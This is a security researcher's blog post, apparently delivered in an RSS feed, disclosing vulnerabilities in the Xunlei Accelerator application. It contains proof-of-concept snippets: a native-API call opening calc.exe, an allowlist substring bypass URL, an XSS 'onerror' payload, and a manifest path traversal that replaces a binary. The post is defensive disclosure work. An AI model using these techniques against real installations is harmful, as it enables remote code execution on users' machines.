Almost Secure Wladimir Palant's blog https://palant.info/ Hugo -- gohugo.io en-us This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License Sat, 16 Mar 2024 07:48:06 +0000 Numerous vulnerabilities in Xunlei Accelerator application https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/ Wed, 06 Mar 2024 14:27:53 +0100 https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/ <p>Xunlei Accelerator (迅雷客户端) a.k.a. Xunlei Thunder by the China-based Xunlei Ltd. is a wildly popular application. According to the <a href="https://ir.xunlei.com/static-files/3100b981-4a23-460b-8342-a0446ffff2c4">company’s annual report</a> 51.1 million active users were counted in December 2022. The company’s Google Chrome extension 迅雷下载支持, while not mandatory for using the application, had 28 million users at the time of writing.</p> <figure><img src="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/screenshot.png" class="article-image" alt="Screenshot of the application’s main window with Chinese text and two advertising blocks" width="577" height="393" /></figure> <p>I’ve found this application to expose a massive attack surface. This attack surface is largely accessible to arbitrary websites that an application user happens to be visiting. Some of it can also be accessed from other computers in the same network or by attackers with the ability to intercept user’s network connections (<a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attack</a>).</p> <p>It does not appear like security concerns were considered in the design of this application. Extensive internal interfaces were exposed without adequate protection. Some existing security mechanisms were disabled. The application also contains large amounts of third-party code which didn’t appear to receive any security updates whatsoever.</p> <p>I’ve reported a number of vulnerabilities to Xunlei, most of which allowed remote code execution. Still, given the size of the attack surface it felt like I barely scratched the surface.</p> <p>Last time Xunlei made security news, it was due to distributing a malicious software component. Back then <a href="https://news.softpedia.com/news/Company-Admits-Its-Employees-Bundled-Malware-with-Xunlei-Download-Manager-390840.shtml">it was an inside job</a>, some employees turned rouge. However, the application’s flaws allowed the same effect to be easily achieved from any website a user of the application happened to be visiting.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#what-is-xunlei-accelerator">What is Xunlei Accelerator?</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-built-in-web-browser">The built-in web browser</a> <ul> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-trouble-with-custom-chromium-based-browsers">The trouble with custom Chromium-based browsers</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#protections-disabled">Protections disabled</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#censorship-included">Censorship included</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#native-api">Native API</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#getting-into-the-xunlei-browser">Getting into the Xunlei browser</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-fixes">The fixes</a></li> </ul> </li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-main-application">The main application</a> <ul> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#outdated-electron-framework">Outdated Electron framework</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#cross-site-scripting-vulnerabilities">Cross-site scripting vulnerabilities</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#impact-of-executing-arbitrary-code-in-the-renderer-process">Impact of executing arbitrary code in the renderer process</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-lack-of-fixes">The (lack of) fixes</a></li> </ul> </li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-xllite-application">The XLLite application</a> <ul> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#overview-of-the-application">Overview of the application</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-pan-authentication">The “pan authentication”</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#achieving-code-execution-via-plugin-installation">Achieving code execution via plugin installation</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-fixes-1">The fixes</a></li> </ul> </li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#plugin-management">Plugin management</a> <ul> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-oddities">The oddities</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#example-scenario-xlserviceplatform">Example scenario: XLServicePlatform</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#the-lack-of-fixes-1">The (lack of?) fixes</a></li> </ul> </li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#outdated-components">Outdated components</a></li> <li><a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#reporting-the-issues">Reporting the issues</a></li> </ul> </nav> </div> <h2 id="what-is-xunlei-accelerator">What is Xunlei Accelerator?</h2> <p>Wikipedia lists Xunlei Limited’s main product as a Bittorrent client, and maybe a decade ago it really was. Today however it’s rather difficult to describe what this application does. Is it a download manager? A web browser? A cloud storage service? A multimedia client? A gaming platform? It appears to be all of these things and more.</p> <p>It’s probably easier to think of Xunlei as an advertising platform. It’s an application with the goal of maximizing profits through displaying advertising and selling subscriptions. As such, it needs to keep the users on the platform for as long as possible. That’s why it tries to implement every piece of functionality the user might need, while not being particularly good at any of it of course.</p> <p>So there is a classic download manager that will hijack downloads initiated in the browser, with the promise of speeding them up. There is also a rudimentary web browser (two distinctly different web browsers in fact) so that you don’t need to go back to your regular web browser. You can play whatever you are downloading in the built-in media player, and you can upload it to the built-in storage. And did I mention games? Yes, there are games as well, just to keep you occupied.</p> <p>Altogether this is a collection of numerous applications, built with a wide variety of different technologies, often implementing competing mechanisms for the same goal, yet trying hard to keep the outward appearance of a single application.</p> <h2 id="the-built-in-web-browser">The built-in web browser</h2> <h3 id="the-trouble-with-custom-chromium-based-browsers">The trouble with custom Chromium-based browsers</h3> <p>Companies love bringing out their own web browsers. The reason is not that their browser is any better than the other 812 browsers already on the market. It’s rather that web browsers can monetize your searches (and, if you are less lucky, also your browsing history) which is a very profitable business.</p> <p>Obviously, profits from that custom-made browser are higher if the company puts as little effort into maintenance as possible. So they take the open source Chromium, slap their branding on it, maybe also a few half-hearted features, and they call it a day.</p> <p>Trouble is: a browser has a massive attack surface which is exposed to arbitrary web pages (and ad networks) by definition. Companies like Mozilla or Google invest enormous resources into quickly plugging vulnerabilities and bringing out updates every six weeks. And that custom Chromium-based browser also needs updates every six weeks, or it will expose users to known (and often widely exploited) vulnerabilities.</p> <p>Even merely keeping up with Chromium development is tough, which is why it almost never happens. In fact, when I looked at the unnamed web browser built into the Xunlei application (internal name: TBC), it was based on Chromium 83.0.4103.106. Being released in May 2020, this particular browser version was already three and a half years old at that point. For reference: Google fixed eight actively exploited zero-day vulnerabilities in Chromium in the year 2023 alone.</p> <p>Among others, the browser turned out to be vulnerable to CVE-2021-38003. There is <a href="https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078">this article</a> which explains how this vulnerability allows JavaScript code on any website to gain read/write access to raw memory. I could reproduce this issue in the Xunlei browser.</p> <h3 id="protections-disabled">Protections disabled</h3> <p>It is hard to tell whether not having a pop-up blocker in this browser was a deliberate choice or merely a consequence of the browser being so basic. Either way, websites are free to open as many tabs as they like. Adding <code>--autoplay-policy=no-user-gesture-required</code> command line flag definitely happened intentionally however, turning off video autoplay protections.</p> <p>It’s also notable that Xunlei revives Flash Player in their browser. Flash Player support has been disabled in all browsers in December 2020, for various reasons including security. Xunlei didn’t merely decide to ignore this reasoning, they shipped Flash Player 29.0.0.140 (released in April 2018) with their browser. Adobe support website <a href="https://helpx.adobe.com/security/security-bulletin.html#flashplayer">lists numerous Flash Player security fixes</a> published after April 2018 and before end of support.</p> <h3 id="censorship-included">Censorship included</h3> <p>Interestingly, Xunlei browser won’t let users visit the <code>example.com</code> website (as opposed to <code>example.net</code>). When you try, the browser redirects you to a page on <code>static.xbase.cloud</code>. This is an asynchronous process, so chances are good that you will catch a glimpse of the original page first.</p> <figure><img src="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/censorship.png" class="article-image" alt="Screenshot of a page showing a WiFi symbol with an overlaid question mark and some Chinese text." width="289" height="206" /></figure> <p>Automated translation of the text: “This webpage contains illegal or illegal content and access has been stopped.”</p> <p>As it turns out, the application will send every website you visit to an endpoint on <code>api-shoulei-ssl.xunlei.com</code>. That endpoint will either accept your choice of navigation target or instruct to redirect you to a different address. So when to navigate to <code>example.com</code> the following request will be sent:</p> <pre tabindex="0"><code>POST /xlppc.blacklist.api/v1/check HTTP/1.1 Content-Length: 29 Content-Type: application/json Host: api-shoulei-ssl.xunlei.com {&#34;url&#34;:&#34;http://example.com/&#34;} </code></pre><p>And the server responds with:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;code&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;msg&#34;</span><span class="p">:</span> <span class="s2">&#34;ok&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;host&#34;</span><span class="p">:</span> <span class="s2">&#34;example.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;redirect&#34;</span><span class="p">:</span> <span class="s2">&#34;https://static.xbase.cloud/file/2rvk4e3gkdnl7u1kl0k/xappnotfound/#/unreach&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;result&#34;</span><span class="p">:</span> <span class="s2">&#34;reject&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>Interestingly, giving it the address <code>http://example.com./</code> (note the trailing dot) will result in the response <code>{&quot;code&quot;:403,&quot;msg&quot;:&quot;params error&quot;,&quot;data&quot;:null}</code>. With the endpoint being unable to handle this address, the browser will allow you to visit it.</p> <h3 id="native-api">Native API</h3> <p>In an interesting twist, the Xunlei browser exposed <code>window.native.CallNativeFunction()</code> method to all web pages. Calls would be forwarded to the main application where any plugin could register its native function handlers. When I checked, there were 179 such handlers registered, though that number might vary depending on the active plugins.</p> <p>Among the functions exposed were <code>ShellOpen</code> (used Windows shell APIs to open a file), <code>QuerySqlite</code> (query database containing download tasks), <code>SetProxy</code> (configure a proxy server to be used for all downloads) or <code>GetRecentHistorys</code> (retrieve browsing history for the Xunlei browser).</p> <p>My proof-of-concept exploit would run the following code:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">native</span><span class="p">.</span><span class="nx">CallNativeFunction</span><span class="p">(</span><span class="s2">&#34;ShellOpen&#34;</span><span class="p">,</span> <span class="s2">&#34;c:\\windows\\system32\\calc.exe&#34;</span><span class="p">);</span> </span></span></code></pre></div><p>This would open the Windows Calculator, just as you’d expect.</p> <p>Now this API was never meant to be exposed to all websites but only to a selected few very “trusted” ones. The allowlist here is:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;.xunlei.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pccloud.onethingpcs.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pccloud.test.onethingpcs.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pciaas.onethingpcs.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pccloud.onethingcloud.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pccloud-test.onethingcloud.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;h5-pcxl.hiveshared.com&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></div><p>And here is how access was being validated:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">isUrlInDomains</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="nx">allowlist</span><span class="p">,</span> <span class="nx">frameUrl</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">result</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">index</span> <span class="o">&lt;</span> <span class="nx">allowlist</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="o">++</span><span class="nx">index</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">allowlist</span><span class="p">[</span><span class="nx">index</span><span class="p">])</span> <span class="o">||</span> <span class="nx">frameUrl</span> <span class="o">&amp;&amp;</span> <span class="nx">frameUrl</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">allowlist</span><span class="p">[</span><span class="nx">index</span><span class="p">]))</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">result</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">break</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">result</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>As you might have noticed, this doesn’t actually validate the host name against the list but looks for substring matches in the entire address. So <code>https://malicious.com/?www.xunlei.com</code> is also considered a trusted address, allowing for a trivial circumvention of this “protection.”</p> <h3 id="getting-into-the-xunlei-browser">Getting into the Xunlei browser</h3> <p>Now most users hopefully won’t use Xunlei for their regular browsing. These should be safe, right?</p> <p>Unfortunately not, as there is a number of ways for webpages to open the Xunlei browser. The simplest way is using a special <code>thunderx://</code> address. For example, <code>thunderx://eyJvcHQiOiJ3ZWI6b3BlbiIsInBhcmFtcyI6eyJ1cmwiOiJodHRwczovL2V4YW1wbGUuY29tLyJ9fQ==</code> will open the Xunlei browser and load <code>https://example.com/</code> into it. From the attacker’s point of view, this approach has a downside however: modern browsers ask the user for confirmation before letting external applications handle addresses.</p> <figure><img src="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/confirmation.png" class="article-image" alt="Screenshot of a confirmation dialog titled “Open 迅雷?” The text says: “A website wants to open this application.” There are two buttons labeled “Open 迅雷” and “Cancel.”" width="400" height="141" /></figure> <p>There are alternatives however. For example, the Xunlei browser extension (28 million users according to Chrome Web Store) is meant to pass on downloads to the Xunlei application. It could be instrumented into passing on <code>thunderx://</code> links without any user interaction however, and these would immediately open arbitrary web pages in the Xunlei browser.</p> <p>More ways to achieve this are exposed by the XLLite application’s API which is <a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#achieving-code-execution-via-plugin-installation">introduced later</a>. And that’s likely not even the end of it.</p> <h3 id="the-fixes">The fixes</h3> <p>While Xunlei never communicated any resolution of these issues to me, as of Xunlei Accelerator 12.0.8.2392 (built on February 2, 2024 judging by executable signatures) several changes have been implemented. First of all, the application no longer packages Flash Player. It still activates Flash Player if it is installed on the user’s system, so some users will still be exposed. But chances are good that this Flash Player installation will at least be current (as much as software can be “current” three years after being discontinued).</p> <p>The <code>isUrlInDomains()</code> function has been rewritten, and the current logic appears reasonable. It will now only check the allowlist against the end of the hostname, matches elsewhere in the address won’t be accepted. So this now leaves “only” all of the xunlei.com domain with access to the application’s internal APIs. Any <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">cross-site scripting vulnerability</a> anywhere on this domain will again put users at risk.</p> <p>The outdated Chromium base appears to remain unchanged. It still reports as Chromium 83.0.4103.106, and the exploit for CVE-2021-38003 still succeeds.</p> <p>The browser extension 迅雷下载支持 also received an update, version 3.48 on January 3, 2024. According to automated translation, the changelog entry for this version reads: “Fixed some known issues.” The fix appears to be adding a bunch of checks for the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted">event.isTrusted property</a>, making sure that the extension can no longer be instrumented quite as easily. Given these restrictions, just opening the <code>thunderx://</code> address directly likely has higher chances of success now, especially when combined with social engineering.</p> <h2 id="the-main-application">The main application</h2> <h3 id="outdated-electron-framework">Outdated Electron framework</h3> <p>The main Xunlei application is based on the <a href="https://en.wikipedia.org/wiki/Electron_(software_framework)">Electron framework</a>. This means that its user interface is written in HTML and displayed via the Chromium web browser (renderer process). And here again it’s somewhat of a concern that the Electron version used is 83.0.4103.122 (released in June 2020). It can be expected to share most of the security vulnerabilities with a similarly old Chromium browser.</p> <p>Granted, an application like that should be less exposed than a web browser as it won’t just load any website. But it does work with remote websites, so vulnerabilities in the way it handles web content are an issue.</p> <h3 id="cross-site-scripting-vulnerabilities">Cross-site scripting vulnerabilities</h3> <p>Being HTML-based, the Xunlei application is potentially vulnerable to <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">cross-site scripting vulnerabilities</a>. For most part, this is mitigrated by using the React framework. React doesn’t normally work with raw HTML code, so there is no potential for vulnerabilities here.</p> <p>Well, normally. Unless <code>dangerouslySetInnerHTML</code> property is being used, which you should normally avoid. But it appears that Xunlei developers used this property in a few places, and now they have code displaying messages like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">$createElement</span><span class="p">(</span><span class="s2">&#34;div&#34;</span><span class="p">,</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">staticClass</span><span class="o">:</span> <span class="s2">&#34;xly-dialog-prompt__text&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">domProps</span><span class="o">:</span> <span class="p">{</span> <span class="nx">innerHTML</span><span class="o">:</span> <span class="k">this</span><span class="p">.</span><span class="nx">_s</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">options</span><span class="p">.</span><span class="nx">content</span><span class="p">)</span> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">})</span> </span></span></code></pre></div><p>If message content ever happens to be some malicious data, it could create HTML elements that will result in execution of arbitrary JavaScript code.</p> <p>How would malicious data end up here? Easiest way would be <a href="https://palant.info/2024/03/06/numerous-vulnerabilities-in-xunlei-accelerator-application/#native-api">via the browser</a>. There is for example the <code>MessageBoxConfirm</code> native function that could be called like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">native</span><span class="p">.</span><span class="nx">CallNativeFunction</span><span class="p">(</span><span class="s2">&#34;MessageBoxConfirm&#34;</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="nx">title</span><span class="o">:</span> <span class="s2">&#34;Hi&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">content</span><span class="o">:</span> <span class="sb">`&lt;img src=&#34;x&#34; onerror=&#34;alert(location.href)&#34;&gt;`</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;info&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">okText</span><span class="o">:</span> <span class="s2">&#34;Ok&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">cancelVisible</span><span class="o">:</span> <span class="kc">false</span> </span></span><span class="line"><span class="cl"><span class="p">}));</span> </span></span></code></pre></div><p>When executed on a “trusted” website in the Xunlei browser, this would make the main application display a message and, as a side-effect, run the JavaScript code <code>alert(location.href)</code>.</p> <h3 id="impact-of-executing-arbitrary-code-in-the-renderer-process">Impact of executing arbitrary code in the renderer process</h3> <p>Electron normally <a href="https://www.electronjs.org/docs/latest/tutorial/sandbox#renderer-processes">sandboxes renderer processes</a>, making certain that these have only limited privileges and vulnerabilities are harder to exploit. This security mechanism is active in the Xunlei application.</p> <p>However, Xunlei developers at some point must have considered it rather limiting. After all, their user interface needed to perform lots of operations. And providing a restricted interface for each such operation was too much effort.</p> <p>So they built a generic interface into the application. By means of messages like <code>AR_BROWSER_REQUIRE</code> or <code>AR_BROWSER_MEMBER_GET</code>, the renderer process can instruct the main (privileged) process of the application to do just about anything.</p> <p>My proof-of-concept exploit successfully abused this interface by loading Electron’s <a href="https://www.electronjs.org/docs/latest/api/shell">shell module</a> (not accessible to sandboxed renderers by regular means) and calling one of its methods. In other words, the Xunlei application managed to render this security boundary completely useless.</p> <h3 id="the-lack-of-fixes">The (lack of) fixes</h3> <p>Looking at Xunlei Accelerator 12.0.8.2392, I could not recognize any improvements in this area. The application is still based on Electron 83.0.4103.122. The number of potential XSS vulnerabilities in the message rendering code didn’t change either.</p> <p>It appears that Xunlei called it a day after making certain that triggering messages with arbitrary content became more difficult. I doubt that it is impossible however.</p> <h2 id="the-xllite-application">The XLLite application</h2> <h3 id="overview-of-the-application">Overview of the application</h3> <p>The XLLite application is one of the plugins running within the Xunlei framework. Given that I never created a Xunlei account to see this application in action, my understanding of its intended functionality is limited. Its purpose however appears to be integrating the Xunlei cloud storage into the main application.</p> <p>As it cannot modify the main application’s user interface directly, it exposes its own user interface as a local web server, on a randomly chosen port between 10500 and 10599. That server essentially provides static files embedded in the application, all functionality is implemented in client-side JavaScript.</p> <p>Privileged operations are provided by a separate local server running on port 21603. Some of the API calls exposed here are handled by the application directly, others are forwarded to the main application via yet another local server.</p> <p>I originally got confused about how the web interface accesses the API server, with the latter failing to implement <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">CORS</a> correctly – <code>OPTION</code> requests don’t get a correct response, so that only basic requests succeed. It appears that Xunlei developers didn’t manage to resolve this issue and instead resorted to proxying the API server on the user interface server. So any endpoints available on the API server are exposed by the user interface server as well, here correctly (but seemingly unnecessarily) using CORS to allow access from everywhere.</p> <p>So the communication works like this: the Xunlei application loads <code>http://127.0.0.1:105xx/</code> in a frame. The page then requests some API on its own port, e.g. <code>http://127.0.0.1:105xx/device/now</code>. When handling the request, the XLLite application requests <code>http://127.0.0.1:21603/device/now</code> internally. And the API server handler within the same process responds with the current timestamp.</p> <p>This approach appears to make little sense. However, it’s my understanding that Xunlei also produces storage appliances which can be installed on the local network. Presumably, these appliances run identical code to expose an API server. This would also explain why the API server is exposed to the network rather than being a localhost-only server.</p> <h3 id="the-pan-authentication">The “pan authentication”</h3> <p>With quite a few API calls having the potential to do serious damage or at the very least expose private information, these need to be protected somehow. As mentioned above, Xunlei developers chose not to use CORS to restrict access but rather decided to expose the API to all websites. Instead, they implemented their own “pan authentication” mechanism.</p> <p>Their approach of generating authentication tokens was taking the current timestamp, concatenating it with a long static string (hardcoded in the application) and hashing the result with MD5. Such tokens would expire after 5 minutes, apparently an attempt to thwart replay attacks.</p> <p>They even went as far as to perform time synchronization, making sure to correct for deviation between the current time as perceived by the web page (running on the user’s computer) and by the API server (running on the user’s computer). Again, this is something that probably makes sense if the API server can under some circumstances be running elsewhere on the network.</p> <p>Needless to say that this “authentication” mechanism doesn’t provide any value beyond very basic obfuscation.</p> <h3 id="achieving-code-execution-via-plugin-installation">Achieving code execution via plugin installation</h3> <p>There are quite a few interesting API calls exposed here. For example, the <code>device/v1/xllite/sign</code> endpoint would sign data with one out of three private RSA keys hardcoded in the application. I don’t know what this functionality is used for, but I sincerely hope that it’s as far away from security and privacy topics as somehow possible.</p> <p>There is also the <code>device/v1/call</code> endpoint which is yet another way to open a page in the Xunlei browser. Both <code>OnThunderxOpt</code> and <code>OpenNewTab</code> calls allow that, the former taking a <code>thunderx://</code> address to be processed and the latter a raw page address to be opened in the browser.</p> <p>It’s fairly obvious that the API exposes full access to the user’s cloud storage. I chose to focus my attention on the <code>drive/v1/app/install</code> endpoint however, which looked like it could do even more damage. This endpoint in fact turned out to be a way to install binary plugins.</p> <p>I couldn’t find any security mechanisms preventing malicious software to be installed this way, apart from the already mentioned useless “pan authentication.” However, I couldn’t find any actual plugins to use as an example. In the end I figured out that a plugin had to be packaged in an archive containing a <code>manifest.yaml</code> file like the following:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">ID</span><span class="p">:</span><span class="w"> </span><span class="l">Exploit</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">Title</span><span class="p">:</span><span class="w"> </span><span class="l">My exploit</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">Description</span><span class="p">:</span><span class="w"> </span><span class="l">This is an exploit</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">Version</span><span class="p">:</span><span class="w"> </span><span class="m">1.0.0</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">System</span><span class="p">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span>- <span class="nt">OS</span><span class="p">:</span><span class="w"> </span><span class="l">windows</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">ARCH</span><span class="p">:</span><span class="w"> </span><span class="m">386</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">Service</span><span class="p">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">ExecStart</span><span class="p">:</span><span class="w"> </span><span class="l">Exploit.exe</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">ExecStop</span><span class="p">:</span><span class="w"> </span><span class="l">Exploit.exe</span><span class="w"> </span></span></span></code></pre></div><p>The plugin would install successfully under <code>Thunder\Profiles\XLLite\plugin\Exploit\1.0.1\Exploit</code> but the binary wouldn’t execute for some reason. Maybe there is a security mechanism that I missed, or maybe the plugin interface simply isn’t working yet.</p> <p>Either way, I started thinking: what if instead of making XLLite run my “plugin” I would replace an existing binary? It’s easy enough to produce an archive with file paths like <code>..\..\..\oops.exe</code>. However, the <a href="https://pkg.go.dev/github.com/mholt/archiver">Go package archiver</a> used here has protection against such path traversal attacks.</p> <p>The XLLite code deciding which folder to put the plugin into didn’t have any such protections on the other hand. The folder is determined by the <code>ID</code> and <code>Version</code> values of the plugin’s manifest. Messing with the former is inconvenient, it being present twice in the path. But setting the “version” to something like <code>..\..\..</code> achieved the desired results.</p> <p>Two complications:</p> <ol> <li>The application to be replaced cannot be running or the Windows file locking mechanism will prevent it from being replaced.</li> <li>The plugin installation will only replace entire folders.</li> </ol> <p>In the end, I chose to replace Xunlei’s media player for my proof of concept. This one usually won’t be running and it’s contained in a folder of its own. It’s also fairly easy to make Xunlei run the media player by using a <code>thunderx://</code> link. Behold, installation and execution of a malicious application without any user interaction.</p> <p>Remember that the API server is exposed to the local network, meaning that any devices on the network can also perform API calls. So this attack could not merely be executed from any website the user happened to be visiting, it could also be launched by someone on the same network, e.g. when the user is connected to a public WiFi.</p> <h3 id="the-fixes-1">The fixes</h3> <p>As of version 3.19.4 of the XLLite plugin (built January 25, 2024 according to its digital signature), the “pan authentication” method changed to use <a href="https://en.wikipedia.org/wiki/JSON_Web_Token">JSON Web Tokens</a>. The authentication token is embedded within the main page of the user interface server. Without any CORS headers being produced for this page, the token cannot be extracted by other web pages.</p> <p>It wasn’t immediately obvious what secret is being used to generate the token. However, authentication tokens aren’t invalidated if the Xunlei application is restarted. This indicates that the secret isn’t being randomly generated on application startup. The remaining possibilities are: a randomly generated secret stored somewhere on the system (okay) or an obfuscated hardcoded secret in the application (very bad).</p> <p>While calls to other endpoints succeed after adjusting authentication, calls to the <code>drive/v1/app/install</code> endpoint result in a “permission denied” response now. I did not investigate whether the endpoint has been disabled or some additional security mechanism has been added.</p> <h2 id="plugin-management">Plugin management</h2> <h3 id="the-oddities">The oddities</h3> <p>XLLite’s plugin system is actually only one out of at least five completely different plugin management systems in the Xunlei application. One other is the main application’s plugin system, the XLLite application is installed as one such plugin. There are more, and <code>XLLiveUpdateAgent.dll</code> is tasked with keeping them updated. It will download the list of plugins from an address like <code>http://upgrade.xl9.xunlei.com/plugin?os=10.0.22000&amp;pid=21&amp;v=12.0.3.2240&amp;lng=0804</code> and make sure that the appropriate plugins are installed.</p> <p>Note the lack of TLS encryption here which is quite typical. Part of the issue appears to be that Xunlei 